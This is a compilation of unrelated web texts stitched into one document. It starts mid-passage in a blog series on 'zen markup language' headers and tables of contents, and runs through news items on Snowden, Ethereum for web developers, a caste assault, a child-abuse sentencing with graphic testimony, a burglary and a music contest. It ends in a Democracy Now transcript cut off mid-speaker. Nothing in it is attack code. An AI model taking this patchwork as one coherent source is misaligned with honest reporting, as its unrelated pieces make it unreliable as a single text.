elements, .css, etc., if you need ‘em.  not so with zen markup language.  z.m.l. always gets converted as a full webpage, or even a  set of related webpages, and you are expected to _delete_  the stuff that you don’t need for your specific use-case.  the .css, for instance, is provided, although you can also  tell the converter that you want it to bring in your own.  either way, what you receive is something fully functional  and entirely stand-alone. it’s explicitly not just a snippet.  this difference in focus is a very important distinction,  like the difference between a blog comment and a book.  a concentration on long-form material means _sections_  are a crucial organizing principle of the z.m.l. framework.  in fact, it’s not unreasonable, as a general rule of thumb,  to think that you should stick with markdown if you are  using it to create relatively small pieces of content, like  one-at-a-time blog articles just a couple paragraphs long.  but if you are writing pieces that have multiple sections,  you’ll find that z.m.l. probably meets your needs better.  if your documents are long enough that they can benefit  by having a table of contents, you are writing long-form,  and you need a light-markup system geared to that goal.  and when you are offering a reader a document that big,  the skeleton organization of the document is something  that needs to be made clear to the reader, and the vehicle  which provides that vital clarity is your table of contents.  thus it is very important just from that single perspective.  let me stress that. you _want_ your readers to see and use  your table of contents, just as soon as they start reading,  because it helps them wrap their mind around the piece,  and frames their approach, especially if they’re reading it  in an electronic-form, on a screen, where it’s amorphous.  that reader-orientation to the article can be so important.  moreover, the table of contents helps you, as the writer.  it is the guide that organizes your thoughts, and ensures  that your piece embodies an “arc” that makes it cohere.  it’s the “outline” your teachers told you to start out with.  although, truth be told, a good one is always evolving, so  the important thing is to stay current with it as it does,  so you’re aware where the path is, and where it is going.  i apologize for this wee excursion in a writerly direction,  but it’s not off-topic, because it is this focus on _writing_  which serves as the very bedrock of the z.m.l. philosophy.  z.m.l. is not merely a format to make .html for webpages.  one big goal of z.m.l. is to help writers do better writing.  ***  so, because of its importance, to both writer and readers,  the table of contents occupies a “place of honor” as the  second section of z.m.l. documents, so everybody knows  where it is, and everybody knows that everybody knows.  the first section, of course, is the cover/title section, but  it’s very good to know that you can count on the fact that  the table of contents is at the top too, just underneath it,  especially since many viewer-apps can jump to the top,  thereby making your table of contents quite convenient.  furthermore…  z.m.l. makes it very easy to maintain a table of contents.  because, if you think about it, you want your headers to  be in two places. one is obviously where they already are  — situated atop their respective sections, naturally —  but the second place would be in your table of contents.  so, during conversion of your z.m.l. text-file to output,  your text is scanned to ascertain its header-structure,  thereby automatically generating a table of contents.  if your table of contents section is the word “autotoc”  — just that simple string of letters, by itself on a line —  the auto-generated contents is spliced into the output.  so, with “autotoc” in your z.m.l. input file, this might be  an example of what would get spliced into your output:  further, if you make a change to the text of a header,  it is displayed immediately, in the on-the-fly preview.  so the table of contents stays in sync with the headers.  so, if we were to leave the “autotoc” line just as it was,  but edit the old-fashioned non-useful roman numbers  — the ones on those actual headers, in the text itself —  the auto-generated version will come to look like this:  (and yes, in z.m.l., we include the title — and even the  “table of contents” header — _in_ the table of contents,  even though some people might consider it redundant,  because we might want to copy this section out to the  digital equivalent of a “card catalog” for our cyberlibrary.  so we really need that listing to be full-and-complete.)  z.m.l. makes it very easy to  maintain a table of contents.  or, if you prefer it the other way around, you can put in  the table of contents that you want, and the converter  will compare the actual structure of your actual headers  against the structure you listed in the table of contents,  and alert you to any discrepancies between those two,  so that you can edit the errors, wherever they might be.  consider this as the kind of alert you might get:  http://zenmagiclove.com/simple/alice-toc-check-alert.png  or, for instance, say the auto-generated table of contents  looked like this graphic below. how do you analyze this?  http://zenmagiclove.com/simple/alice-autotoc-improper-levels.png  well, the auto-generator pays attention to the _levels_  of your headers, and indents them appropriately, so  — compared to the “h2" for all the other headers —  this indicates that chapter 5 is mislabeled as an “h3"  and chapter 9 has been mislabeled as an “h4" header,  so we’ll need to edit those two to be the correct level.  so you can either use the auto-generation approach  all of the time and assume your headers are correct.  or you can create your “ideal” table of contents and  then be alerted if the actual headers diverge from it.  or you can combine both those approaches, so start  with the auto-generation, and then — once you have  satisfied yourself that it is correct as you intended —  include a copy explicitly, so if you accidentally make  a change to your header-structure, you’ll be alerted.  or, if you intentionally change your header-structure,  you will be alerted so you edit your table of contents.  this auto-generation is one way z.m.l. helps you out,  when it comes to the matter of the table of contents.  but it doesn’t stop there.  the converter routine goes on to link every item in the  table of contents to its respective section in the output.  because today’s readers have a right to expect such links.  and you don’t need to do a single thing to get the links,  which is exactly what you should expect from the tool.  because the converter is fully capable of creating them.  finally, because these links are in every z.m.l. document,  readers will expect them, with no need for you to explain.  and yes, since you likely know how internal links work,  z.m.l. does indeed assign an .html “id” to every header.  and it’s not some randomly-assigned nonsense, either.  it’s an i.d. that directly parallels the header itself, so you  can confidently predict what it is by knowing the header,  without any need to go “view source” to learn what it is.  > Chapter 10 -- The Lobster Quadrille  > #chapter_10_—-_the_lobster_quadrille  ...or this works too...  > #chapter_10  ...or this works too...  > #the_lobster_quadrille  ***  but wait. there’s more…  each header is also linked _back_ to the table of contents,  so your readers have awesome navigational functionality.  (which you can also use, while you are writing the piece,  since all of the links are fully functional in your preview;  good navigation is needed when you’re writing long-form.)  the table of contents, with great navigational functionality,  is a true asset to the power and simplicity of z.m.l. output.  and it’s largely automatic, because of the long-form focus.  now that we’ve grounded ourselves in the mechanisms of  the table of contents, we can discuss sections and headers.  ***  headers and sections  and gourds, oh my!  in z.m.l., the “technical” term we use for a “section”  is “gourd”. thus, “chunks” accumulate into “gourds”,  just as paragraphs accumulate into chapters in a novel.  but no, i’m not going to use the “gourd” term here;  i just thought you should be told its “official” name,  so if/when we use it later, you’ll know what it means.  now, to repeat something we said earlier,  the first chunk in each section is its header.  the first chunk  in each section  is its header  the next chunk or two can be headers too,  or subheaders, which is a technicality, but  the first chunk is _always_ a header, by rule.  and, just so you know, the requirement that  a header must be _followed_ by 2 blank lines  is so z.m.l. knows where the header-chunk  and all its possible subheader-chunks end.  next of all, remember that the “h1" header  is reserved for the title of your document,  which must be the first “chunk” in your file,  so there is no need (or ability) to assign “h1".  so we are essentially talking about levels of  headers “h2" to “h6”, if you need that many.  (quite often, you only need one level, “h2".)  so this means that headers in your document  will need to be identified, for z.m.l. to handle.  more precisely, _sections_ in your document  will need to be identified, for z.m.l. to handle.  the rule for sections in z.m.l. is clear and simple:  every z.m.l. section must be preceded by  at least 5 blank lines (or more), and  its header-chunk(s) must be followed by  exactly 2 blank lines.  ——————————————————————-  every z.m.l. section  must be preceded by  at least 5 blank lines (or more),  and its header-chunk(s)  must be followed by  exactly 2 blank lines.  ——————————————————————  this arrangement of blank lines tells z.m.l.  exactly where the sections break, as well as  where each header begins and where it ends.  so any time there is a 5-blank-line sequence,  the chunk that follows it becomes the header  for that new section. so, if you don’t want to,  there’s not even any need to label the header!  just put a space in column 1, to identify that  chunk as a “block”, and then type the header.  (to be honest, you don’t even need the space.)  got that? there’s no need to mark the header!  this is a good example of where the “zen” in  “zen markup language” comes in the picture!  if you wonder, this 5-blank-line rule is based  on the one used for project gutenberg e-texts.  the project gutenberg corpus was the model for  the plain-text conventions i wanted to emulate.  http://www.gutenberg.org/wiki/Gutenberg:Volunteers%27_FAQ#V.111._How_should_I_handle_chapter_and_section_headings.3F  project gutenberg requires 4 blank lines, but for  a programming reason, i’ve changed that to _5_.  (hey, since you’re here reading a fucking manual,  you probably _wonder_ about what the reason is,  so i’ll tell you. to split a z.m.l. text into “chunks”,  we just split it by “  ” — a pair of linebreaks —  which is how a blank line in a file expresses itself.  so when we require 5 blank lines before a section,  that translates to 6 successive linebreaks, meaning  2 successive empty chunks indicate a new section,  and we don’t have to do another split for sections.)  ***  you can witness this in the project gutenberg e-text  for “alice’s adventures in wonderland”, which was  what i used above for the sample table of contents.  > http://www.gutenberg.org/files/11/11.txt  …or…  > http://www.gutenberg.org/cache/epub/11/pg11.txt  as you scroll through the e-text, you’ll notice that  the chapter-headers stand out nicely, due to that  relatively large amount of whitespace above them.  and there’s another appealing thing about this rule,  for me anyway, because i admire print-book design.  see this?  > http://zenmagiclove.com/simple/alice-header-midpage.jpg  > https://archive.org/stream/alicesadventures00carr3#page/30/mode/2up  that’s an image of a real hard-copy page from “alice”.  notice how the header is offset from the top the page?  that, of course, is something very common in books.  for me, the 5-blank-lines-above rule reconstrues this,  conjures in my mind a picture of this kind of design.  ***  so, did you look at that project gutenberg “alice” file?  if so, did you notice the headers did _not_ have the  required 2-blank-lines below each chapter-header?  except chapter 12? unfortunately, project gutenberg  has always done a lousy job of “enforcing” its rules,  fearful that doing so would chase off its volunteers,  so its e-texts are rife with inconsistency issues. sad.  ***  ok, so we know now that, in terms of marking the  existence of a new section, 5 blank lines will do it.  and that, given that, we don’t even need to mark  the header for it, since it’s always the first chunk.  and as long as we’re happy having all our headers  at the same level, then we can be “officially done”.  but we often do want a document-structure that  includes headers with a variety of different levels.  so how do we set the levels of these various headers?  ***  setting the header levels  if your document has headers of different levels,  you’ll indicate the level of a specific header using  either of 2 different methods, the choice is yours.  set header level — method 1 —  setting the level via blank lines  you must have at least 5 blank lines preceding  each header, but that will only give that header  the “basic” level in that particular document.  for instance, if all the headers have 5 blank lines,  they will all be assigned the “h2" .html header.  however, if you vary the number of blank lines,  the assigned levels of the headers will vary too.  so let’s say you want “h2" and “h3" .html headers;  you could put 5 blank lines before the “h3" headers,  and (let’s say) 6 blank lines before the “h2" headers.  more blank lines indicate a higher-priority header;  you can remember this using the “offset” graphic,  because more blank lines will create a bigger gap.  so whichever headers have the most blank lines,  those are the ones that will get the “h2" markup.  the ones with the next most get “h3", and so on.  so let’s say you want to use all 6 levels of headers.  you might use 6 blank lines before the h6 headers,  8 before the h5 headers, 10 before the h4 headers,  12 before h3 headers, and 14 before h2 headers.  (read that last paragraph in the opposite order  if doing so will help you understand it better.)  i can hear your skepticism about this arrangement,  probably because i’ve heard it so often in the past,  something about not wanting to count blank lines.  i can tell you that, once you get used to this method,  it works very well, and you will come to embrace it.  all of the volunteers at project gutenberg learned it,  and i’ve used it too, quite nicely, for many years now.  “counting lines” isn’t all that hard to do. in fact, i find  that it is rather fulfilling to do it, knowing i’m starting  a new section, which means my writing is proceeding.  and remember, if you get the number of lines wrong,  the auto-generated table of contents will look weird.  here, let me show you that graphic again:  see? it’s very obvious what needs fixing there.  alas, i can still hear your skepticism.  you probably still don’t believe me.  so i’ll give you a second method that’s more explicit.  but you have to promise me you’ll actually _try_ to  use the blank-lines method, because it really works,  and if you just try it out, you’ll see that it’s very nice.  but ok, here’s that other method, which will look  familiar to you, because it’s the old hashmark one.  ***  set header level — method 2 —  setting level via explicit hashmarks  you can set the level via the “hashmark” method instead.  each header still needs to be preceded by 5 blank lines,  and followed by 2 blank lines. but the header’s _level_  is indicated explicitly with the familiar “ ## ” markup.  specifically, an h2 header is marked with “ ## ” at its start.  an h3 header is marked with “ ### ”, h4 with “ #### ”, etc.  notice the “ ## ” marks must have a space in column 1, and  there must be at least one space before the header begins.  (and, once again, perhaps you can actually skip the spaces,  but i might “fix” that in future versions of the converter.)  to repeat: note that the “ ## ” marks are _not_ locating the  start of the section — the 5-blank-line sequence does that —  but rather merely the _level_ of the header. be clear on that.  you can put in all the “ ## ” marks you want, but that won’t  signal the beginning of a new section to the z.m.l. converter.  if your “header” is not preceded by the set of 5-blank-lines,  yes, it’ll get an .html “hx” tag, and be displayed big and bold,  but it _won’t_ be considered to be a section-header, meaning  it will not go in the auto-generated table of contents, nor will  it be assigned an .html “id” automatically, nor get any links.  but if you _do_ precede your hashmark-header properly, with  a set of 5-blank-lines, it’ll be considered a full-fledged header,  with its level explicitly set by the number of hashmarks it has,  and _not_ by the number of blank lines which it has above it.  ***  and with that, we have finally finished up with headers. yay!  thank you for being patient with the awful length of this thing.  like i said, once my over-explainer comes out, even i get bored. ;+)  i promise the remaining parts of this series will be much shorter.  and even better news is that there aren’t too many of them left!  so if you’ve come this far, make sure and stay for the whole ride.  because even before the series ends, authoring-tools will emerge.  and that’s when the _real_ fun will begin!  ***  here are the articles in this series:  beyond markdown — part 1 — it’s time for the next step https://medium.com/@bbirdiman/beyond-markdown-part-1-2300665659f7  beyond markdown — part 2 — z.m.l. was built to be easy to understand https://medium.com/@bbirdiman/beyond-markdown-part-2-b3527d2b9dcf  beyond markdown — part 3 — two types of chunks — paragraphs and blocks https://medium.com/@bbirdiman/beyond-markdown-part-3-eed9bebea0da  beyond markdown — part 4 — how to “tag” a block for formatting https://medium.com/@bbirdiman/beyond-markdown-part-4-9b4dc6841d7e  beyond markdown — part 5 — shining a spotlight on sections and headers  https://medium.com/@bbirdiman/beyond-markdown-part-5-4902097723b0  beyond markdown — part 6 — notes on a few types of “special” paragraphs  https://medium.com/@bbirdiman/beyond-markdown-part-6-8056eee5b783  beyond markdown — part 7 — text styling and typographic niceties  https://medium.com/@bbirdiman/beyond-markdown-part-7-3158e23f22bf  beyond markdown — part 8 — alignment, horizontal rules, and breaks  https://medium.com/@bbirdiman/beyond-markdown-part-8-1a082d7f1f6d  beyond markdown — part 9 — pulling outside resources into your document  https://medium.com/@bbirdiman/beyond-markdown-part-9-be74bbbed369  beyond markdown — part 10 — special sections in your document  https://medium.com/@bbirdiman/beyond-markdown-part-10-3ca0c08e5641  ***  and, for reference, as an extra bonus:  markdown considered harmful — or perhaps a loved but irritating old uncle  https://medium.com/@bbirdiman/markdown-considered-harmful-495ccfe24a52
-NSA whistleblower Edward Snowden appeared via video link from Moscow at the CeBIT IT trade conference in Hanover, Germany. He warned IT specialists they are the target of government surveillance.  “They are looking for the people who are in this room right now. You are their target, not because you’re a terrorist, but because you have access to systems. You have access to the private records of people’s private lives and these are the things they want,” he warned.  Since leaking documents revealing the size and scope of the NSA and US allies’ worldwide spying program, Snowden has been living in Moscow, Russia. He is a wanted man in his native America.  But the IT expert turned whistleblower, who was once contracted to the NSA, maintained that he wanted to return home to the US and face the courts.  “I want to tell the jury why I did it. I want to tell the court what these programs are. I want the jury to decide whether it was right or wrong that our rights and or Constitution were being violated in secret,” he told the audience.  But he was also pessimistic about receiving a fair trial in the US. If convicted he would face up to 30 years in jail. Former army intelligence officer turned whistleblower Bradley Manning was sentenced to 35 years in prison for leaking documents about the conduct of the US military in Afghanistan and Iraq.  "In the United States, under the current law right now, it's not even possible for me to enjoy a fair trial,” said Snowden.  Snowden is popular in Germany, which has a more negative view of government surveillance because of its history under the Nazis and the East German Stasi secret police.  READ MORE:German spy agency collects 220 million phone records a day - report  Although German citizens may be against mass surveillance, there are few signs that much has changed in the corridors of Germany’s spy agencies post Snowden.  It was reported in Zeit, a German weekly newspaper, earlier this year that the BND, Germany’s foreign intelligence agency, gathers 220 million pieces of metadata from phone calls and text messages each day. Zeit also revealed that BND agents are instructed to be as elusive as possible when being questioned by politicians from the Oversight Committee.  “The countries such as Germany that have benefitted the most from the risks that he [Snowden] took are the same ones that have most shamefully turned their backs on him,” Glenn Greenwald told the conference.  READ MORE: Snowden ‘changed nothing’ says Norway’s top spy, ‘business as usual’  Snowden remained more upbeat and told the conference that next year he hoped to attend in person, but would make sure he asked Chancellor Merkel first.  The US director of Citizen Four, the academy award winning documentary, which tells the story of Snowden’s revelations and how he went into exile has said she lives and works in Berlin because she believes her material would be taken by the US government if she moved home.  Internet security was one of the biggest issues at CeBIT 2015 with many startups developing new security systems of their own.  A study published recently by the international auditors KPMG showed that security awareness is becoming an increasingly high priority for German businesses.  It also showed a huge jump in cybercrime up from 26 percent of businesses saying they were affected in 2013 to 40 percent in 2014.  Financial services were the most common targets, but cybercriminals often target small and medium size companies as they have weaker security systems in place.
-Ethereum for web developers  Mahesh Murthy Blocked Unblock Follow Following Jan 2, 2017  I have been learning about Ethereum blockchain platform for some time and the more I learn, the more exciting it looks. There are lots of resources (articles, videos, platform documentation) about Ethereum, it’s easy to get overwhelmed. But, many of them are outdated understandably because the platform is still evolving at a rapid pace. It took me some time to piece together and get a complete picture of what Ethereum is and how it works. Talking to developers in meetup groups and other online communities, it feels like there are many people who would like to get their hands dirty with this new technology but have the same issue. This article is my attempt at explaining Ethereum from a web developer’s point of view.  If you are a web developer, you know how a webapp with it’s client server architecture works at a very high level.  You have your web application hosted on a hosting provider like AWS, Heroku or a VPS. All the clients interact with this one central application. Clients can be a browser, another api consuming your service etc. When a client makes a request to the server, the server does it’s magic, talks to the database and/or cache, reads/writes/updates the database and serves the client.  This architecture works very well most of the times. However, there are certain applications where it would be really helpful if that database was publicly and securely accessible by everyone and you don’t have to rely on this webapp owner for your data.  For example, let’s look at eBay. If you are a power seller who has earned hundreds of good reviews and for some reason eBay suspends your account. That would be very bad and could severely impact your business. What would be really nice is the ability for you take all your reviews and ratings and move to another platform (say eBay Competitor). eBay does provide a service by being the trusted third party between buyers and sellers. But then, they also take a commission off each sale. What if there was a way to eliminate eBay altogether from the transaction between buyer and seller so you save on commission and also you have access to all your data? This is where decentralized applications come in to picture. Ethereum makes it very easy to build Dapps (decentralized applications).  This is how an Ethereum Dapp looks at a high level:  If you notice, every client (browser) communicates with it’s own instance of the application. There is no central server to which all clients connect to. This means, every person who wants to interact with a dapp (Decentralized Application) will need a full copy of the blockchain running on their computer/phone etc. That means, before you can use an application, you have to download the entire blockchain and then start using the application. This might sound ridiculous at first but it has the advantage of not relying on a single central server which might disappear tomorrow.  In reality, you don’t need to spend lot of your hard disk and RAM downloading the entire blockchain. There are a few workarounds/optimizations to keep the application decentralized yet make the interaction quick and easy.  Now, what exactly is this blockchain? It has:  Database: Every few transactions that occur in the Ethereum network are packaged in to blocks and each block is linked to the next block. This linked series of blocks which holds all the transaction data is the blockchain. If we go back to the eBay example, every transaction between buyers and sellers, whether it is a sale, refund or dispute would all be recorded on the blockchain and is available for everyone to see. To make sure all the nodes in the network have same copy of the data and to insure no invalid data gets written to this database, Ethereum uses an algorithm called Proof of Work (http://ethereum.stackexchange.com/questions/14/what-proof-of-work-function-does-ethereum-use) Code: The database aspect of blockchain just stores the data. But where is all the logic to buy, sell, cancel, refund etc. In Ethereum world, you write the application code (called contract) in a language called Solidity. You then use the solidity compiler to compile it to Ethereum Byte Code and then deploy that byte code to the blockchain. There are few other alternates to Solidity but Solidity is by far the most popular language for contract development.  So basically, the blockchain stores your data, stores the code and also runs the code in the EVM (Ethereum Virtual Machine).  To build web based dapps, Ethereum comes with a handy javascript library called web3.js which connects to your blockchain node. So you can just include this library in your famous js framework like reactjs, angularjs etc and start building.  Another big and most important feature is the financial capabilities of the platform. What if I tell you, as soon as you start using a dapp, you get an in built bank account? Actually, not one bank account, but you can create as many bank accounts as you like in a fraction of second? These bank accounts are called wallets where you store money (Ether - the currency used in the Ethereum ecosystem) and transact.  There are lot of details about the inner workings of the blockchain I left out deliberately because I wanted to concentrate on mostly comparing the blockchain based Dapp with a centalized webapp. Hope this post accomplishes that and gives a good high level idea of what Ethereum is and how it can be used to build decentralized applications.  I plan on writing more posts/tutorials on dapp development this year. If you would like to get notified, you can subscribe here!  [I have written a 3 part guided tutorial on building a full stack dapp here: Part1, Part2, Part3]  I have also created a more complex course to build a decentralized eBay on Ethereum & IPFS.  Further Reading:  For in depth details on how Ethereum works you can read the Ethereum white paper.  More about the solidity language Solidity Language  For all questions, of course you have Ethereum Stack Exchange  Super helpful community at gitter: https://gitter.im/ethereum/solidity and https://gitter.im/ethereum/web3.js  Thanks @raineorshine, @alwaysbcoding, @kinjalmurthy for feedback on the article.
-AGRA: The curse of untouchability still have deep roots in the country, a truth which can be gauged from the fact, that an entire family of a dalit was beaten with sticks and kicked just because one of the family members accidentally touched the hands of a Brahmin man.The incident was reported in the remote village of Kyuri village of Pinhat area on Friday afternoon, when a Valmiki family was engaged in a marriage ceremony.According to Vineeta, a victim of the incident said, “My younger son Sonu had gone to a sweet shop owned by a Brahmin man named Anil Sharma. While giving the payment for the sweets, Sonu accidently touched the hand of Sharma, on which he got infuriated and thrashed my son.”“When Sonu returned home with bruises, he narrated the entire event after which I along with group of women went to sweet shop to protest against the cruelty on mere touching the hand. Later, Anil along with some few more men came to our house and attacked us with wooden sticks. They didn’t spare even a pregnant women, who had come to attend marriage ceremony,” she claimed. “They kicked her womb after which our family members took her to hospital,” she alleged.As per sources, in the incident, Rekha the pregnant woman, Sonu and his father Hotilal were injured.As per block in-charge of the area, Sugreev Singh Chauhan said, “I was attending a meeting with Bah MLA Raja Mahendra Aridaman Singh, when I got a distress call of Brahmin men attacking a family of Valmiki’s. I immediately rushed to the spot and brought them to MLA.”When TOI, contacted Samajwadi Party MLA Raja Mahendra Aridaman Singh, he claimed, “I don’t know exactly what happened among the two communities, but a family of Valmiki said that they were attacked by upper caste people, after which I called local police station in-charge to arrest the culprits and take stringent action against them.” “I was later informed by police, that accused were arrested,” he added.Talking to TOI, station officer of Pinhat Satyendar Singh said, “No one has been arrested in the matter. It was simple brawl between drunk Valmiki’s who were attending a marriage party. One of the drunk allegedly misbehaved with a Brahmin man after which a scuffle took place.”
-Three of the man's victims on Tuesday said they wanted his name made public, saying they believed more victims could come forward if they knew he was behind bars. But Fairfax Media is unable to name the paedophile due to a request from the County Court. The man was a police officer between 1967 and 1979, when he resigned from the force after the mother of one of his victims reported the abuse to his colleagues. On Tuesday, County Court Judge John Carmody said the day after the woman reported the abuse, "a number of police" came to the family home and questioned the boy about what had happened. While the woman said she didn't want to take the matter any further, the officers told her that the man"wouldn't be in the police force any more and would be moved away". The court was told on Friday that after Victoria Police failed to act on the complaint, the man went on to sexually assault and rape children for at least another four years.  He formally pleaded guilty on Friday to 18 offences against nine victims. "The offending in this case is of the most serious nature," Judge Carmody said. "You were in breach of trust in relation to all the complainants." This, he said, was aggravated by the fact the man was a local policeman when he brutalised the children, who were all aged between five and 10 when he first began to abuse them. On Friday, Crown Prosecutor Nanette Rogers told the court that the police officer had asked one boy, who was between six and 10 when he was raped, whether he wanted to see the police station.  When the boy said yes, the officer took the boy to a room in the station where there was a bed, and raped him. Dr Rogers said in another episode, a girl went to the police station for help after losing her mother at a nearby festival. After telling the child, "I'll look after you", the officer took her into the back of a police divisional van and forced her to perform oral sex on him. In harrowing testimony one of the victims, now 45, told the man she hoped he rotted in hell for what he had done to her, including holding a police-issue revolver to her head as he raped her. She wept as she described how she had hoped he would pull the trigger and put her out of her misery.  Instead, he forced her to suffer through years of "hell and his sick games". Judge Carmody said that by pleading guilty to the offences, the man had "demonstrated some limited remorse" for his actions. But, Judge Carmody said, he was concerned by a pre-sentence report that described the man as being at high risk of re-offending. He was also concerned that the man had a "simplistic and under-developed" understanding of the impact of his offending on his victims; one of whom had tried to take his own life three times after suffering a lifetime of trauma from his childhood abuse. "Your prospects of rehabilitation are, in my opinion, low," Judge Carmody said.  This, he said, was aggravated by the fact that the former officer did not use any protection when he raped the children, exposing them to the risk of sexually-transmitted disease. The man was arrested in 2012, and jailed in NSW in 2014 for separate offences of a "similar" nature, committed between 2005 and 2012. For those offences he was sentenced to 17 years, with a non-parole period of 12 years. When the two sentences are combined, and taking into account time served, he will serve a total 26 years, with a non-parole period of 19 years, for all the offences. The man did not react as he was led away.  Outside court, one of his victims told Fairfax that "justice is served". "I'm glad to see that justice is served, but I'm just relieved that it's all done," she said. "It's been a long time coming."
-Four suspects terrorized a northwest Harris County family on Monday, not only burglarizing their home but also shooting and killing one of the family's dogs."If they can do that to a dog, then they can do anything to a human being," said homeowner Patricia.Patricia said the break-in happened around 1 p.m. on Monday. The family's home surveillance video shows four men breaking into the home. The video shows them hopping over the fence and then gaining access to the home through a back window.Once they were inside, the suspects filled up suitcases full of everything from video game consoles to shoes. Patricia believes their dog, 6-month-old Lady, was trying to protect their home when the intruders shot her."They have no heart. They're just horrible people," she said.The thieves kept going. They made a number of trips in and out, throwing things everywhere in every room."They threw flour all over the kitchen. I had some cake for Mother's Day, they ate that," said Patricia.The family now hopes the surveillance images that show the suspects' faces help in catching them. While they can't bring Lady back, they're hoping to at least get justice.The family is offering a $5,000 reward in the case. HCSO said Crime Stoppers is also offering a reward, bringing the total reward to $10,000.
-Judging by the comments section, Mac DeMarco’s Salad Days was the most controversial omission from our 50 Best Albums Of 2014 So Far list. An artist of the people, he is! So much so that DeMarco is asking the people — i.e. you — to submit a portrait of him that might end up on the cover of one of 7-inch club singles. Captured Tracks explains it like so:  Create a portrait of Mac and he will choose his two favorites to be on the covers of two of his 7″ Club releases.  Prize: Your art featured on a 7″ Mac jacket. PLUS a full subscription to the 7″ Club: 10 x exclusive 7″s and a bunch of goodies! Value +$100! Check out what’s been released as part of the club so far here.  Rules:  1. Must be original art and you must be sole owner of copyright.  2. Must fit 7×7? dimensions.  3. Must be an Instragram follower of @capturedtracks and submit to @capturedtracks with #sketchymac  4. Must transfer copyright to Mac for potential future reproductions  5. Must be submitted before the 27th of June 2014.  How many people do you think will just submit humongous drawings of crooked teeth?
-This is a rush transcript. Copy may not be in its final form.  JUAN GONZALEZ: We turn now to a scathing report issued last week by the Justice Department that accuses prominent Arizona sheriff Joe Arpaio, self-proclaimed the toughest sheriff in America, quote, of a “wide-ranging discrimination against Latinos.” On the basis of a detailed review of documents, federal investigators found that Latino drivers in Phoenix’s Maricopa County were four to nine times more likely to be stopped by Sheriff Arpaio’s deputies than similarly situated non-Latino drivers. They found that a fifth of such stops were unjustified, in violation of the constitutional protection against unreasonable searches and seizures. And they found that the sheriff’s office routinely responded to intelligence from citizens who reported gatherings of dark-skinned or Spanish-speaking individuals. The findings could subject Arpaio to court-ordered reforms. The sheriff has denied the allegations.  SHERIFF JOE ARPAIO: The work we have done to fight illegal immigration, we have been responsible for finding and identifying 25 percent of the nation’s illegal alien criminal offenders in our jails. Sadly, much of that work will no longer be permitted by the Obama administration.  JUAN GONZALEZ: Following the release of the Justice Department’s report, federal authorities announced they would suspend Arpaio’s access to programs under which undocumented immigrants are handed over from his jail for deportation. On Wednesday, dozens of his jail officers lined up at a press conference and ceremoniously handed in their federal credentials. Immigration officials say federal monitors will now verify the immigration status of inmates. Here again is Sheriff Arpaio.  SHERIFF JOE ARPAIO: We’re probably the most trained law enforcement agency in the United States. Who else goes through five weeks of training by Homeland Security? And yet, they’re saying we don’t know what we are doing. What is the rush? Common sense and good management would be, “OK, Sheriff, we’re going to take away your authority, but please keep doing it ’til we can get our 50 officers to take over.” No, they kicked us out, putting public safety at risk.  AMY GOODMAN: The Department of Justice’s damning report on Sheriff Arpaio comes at a time when he has faced growing calls to resign, following mounting evidence his police department failed to properly investigate more than 400 sex crime cases.  Meanwhile, Monday, a woman arrested for using false documents to obtain work sued Arpaio for cruel and unusual punishment. The woman, who gave birth in police custody, said she was shackled to her hospital bed before and after delivering her child by Caesarean section.  And earlier this week, a Latino Army veteran found unresponsive in his Maricopa County jail cell died on Tuesday. The family of 44-year-old Ernest Atencio said he had taser marks on his body.  Despite all of this, Sheriff Arpaio has vowed not to resign and says he plans to run for re-election next year.  Well, for more, we’re joined from Phoenix by Randy Parraz, president of Citizens for a Better Arizona. The group led a successful recall effort against State Senator Russell Pearce, the leading lawmaker behind the anti-immigrant bill, SB 1070. Now they’re focusing on Sheriff Arpaio.  We’re also joined by Stephen Lemons, longtime reporter with the Phoenix New Times, who has closely followed Arpaio’s enforcement practices. He’s joining us from Raleigh, North Carolina, where he’s on holiday.  We welcome you both to Democracy Now! Steve Lemons, talk about the latest Justice Department report, as well as the latest lawsuit by the woman shackled as she’s giving birth and the sheriff’s deputies handing in their credentials.  STEPHEN LEMONS: Well, the Justice Department report was three years in coming. The civil investigation by the Justice Department has been ongoing since early in 2008, so it’s over three years. The findings—it was in the form of a letter of findings to the county attorney. And the findings were, as you’ve already mentioned, very damning. It accused and found that Arpaio has engaged in discriminatory police practices. They also found that Arpaio had retaliated against his enemies. And, you know, there are other misdeeds as far as mistreatment, systemic mistreatment, of Latinos in his jails.  This comes as no surprise to anyone who’s reported Arpaio for any length of time. In fact, I would say that even though the current report deals with the MCSO’s relationship to the Latino community and how they mistreat Latinos in their custody and Latinos they’re stopping, nevertheless, you know, Arpaio has been in power for almost—going on 20 years now. And he’s maintained a culture of cruelty which touches all races. The case you cite, as far as the lady who was shackled before and after her Caesarian section, is a case in point. You know, the MCSO doesn’t just shackle Latinos who are pregnant; it shackles all women who are pregnant and about to give birth. And there are other examples of this in the history of, you know, Arpaio’s reign.  So, as far as the fallout from the Justice Department’s report—I mean, it’s a very positive thing, in some regards, to those who have been critical of Arpaio. It validates a lot of what’s been said and already been reported. They use a lot of information that has already been in the press, that is familiar to people in Maricopa County, but perhaps not out of Maricopa County.  The immediate fallout from it was the Immigration and Customs Enforcement jerking Arpaio’s 287(g) agreement in the jails, which allowed some of his officers to act as, you know, junior ICE agents, and they had federal authority. The screening of inmates in the jails is supposed to continue, but with ICE agents instead of Arpaio’s men and women. He had already been restricted in the use of his 287(g) authority back in 2009. The 287(g) authority extends to 2007, and what’s interesting about that is that the federal government was using Arpaio as sort of a showcase, a model for its 287(g) program, in allowing local law enforcement to enforce federal immigration laws, supposedly under the aegis of the—or watch of the federal government. But it failed miserably. Arpaio used that authority to begin sweeps of Latino communities and almost instantly turned his law enforcement agency into a mini version of ICE, but with ill effect and terrorizing large segments of Maricopa County. So, they had—they took away his field authority for 287(g) in 2009. And so, now they’ve finally taken away his 287(g) authority in the jails. However, it’s interesting to note that they were complicit in many of the human rights abuses that are documented in the Civil Rights Division’s report. So, where the rubber meets the road is the taking away of that 287(g) authority. There could be further fallout if Arpaio does not cooperate with the Justice Department in some sort of consent decree monitored by a federal judge. They’ve given him 60 days to cooperate, essentially.  And Arpaio, you know, this is sort of a two-edged sword, in some ways. Arpaio loves this sort of thing. He loves going up against the Obama administration. He loves going up against the federal government. He uses these sorts of conflicts with the federal government to raise money for his campaign kitty, which at last count was about $3 million. He boasts he has over $6 million now in his campaign re-election fund. And as you’ve noted, he’s going to be running for re-election in 2012. This is also, unfortunately, very popular in Maricopa County, at least with a majority of the population who, you know, may have problems with some of what Arpaio does, his misspending of funds and so forth, but when it comes to discriminating against brown people, unfortunately, that is popular with some segments of Maricopa County.  JUAN GONZALEZ: I’d like to bring in Randy Parraz—  STEPHEN LEMONS: 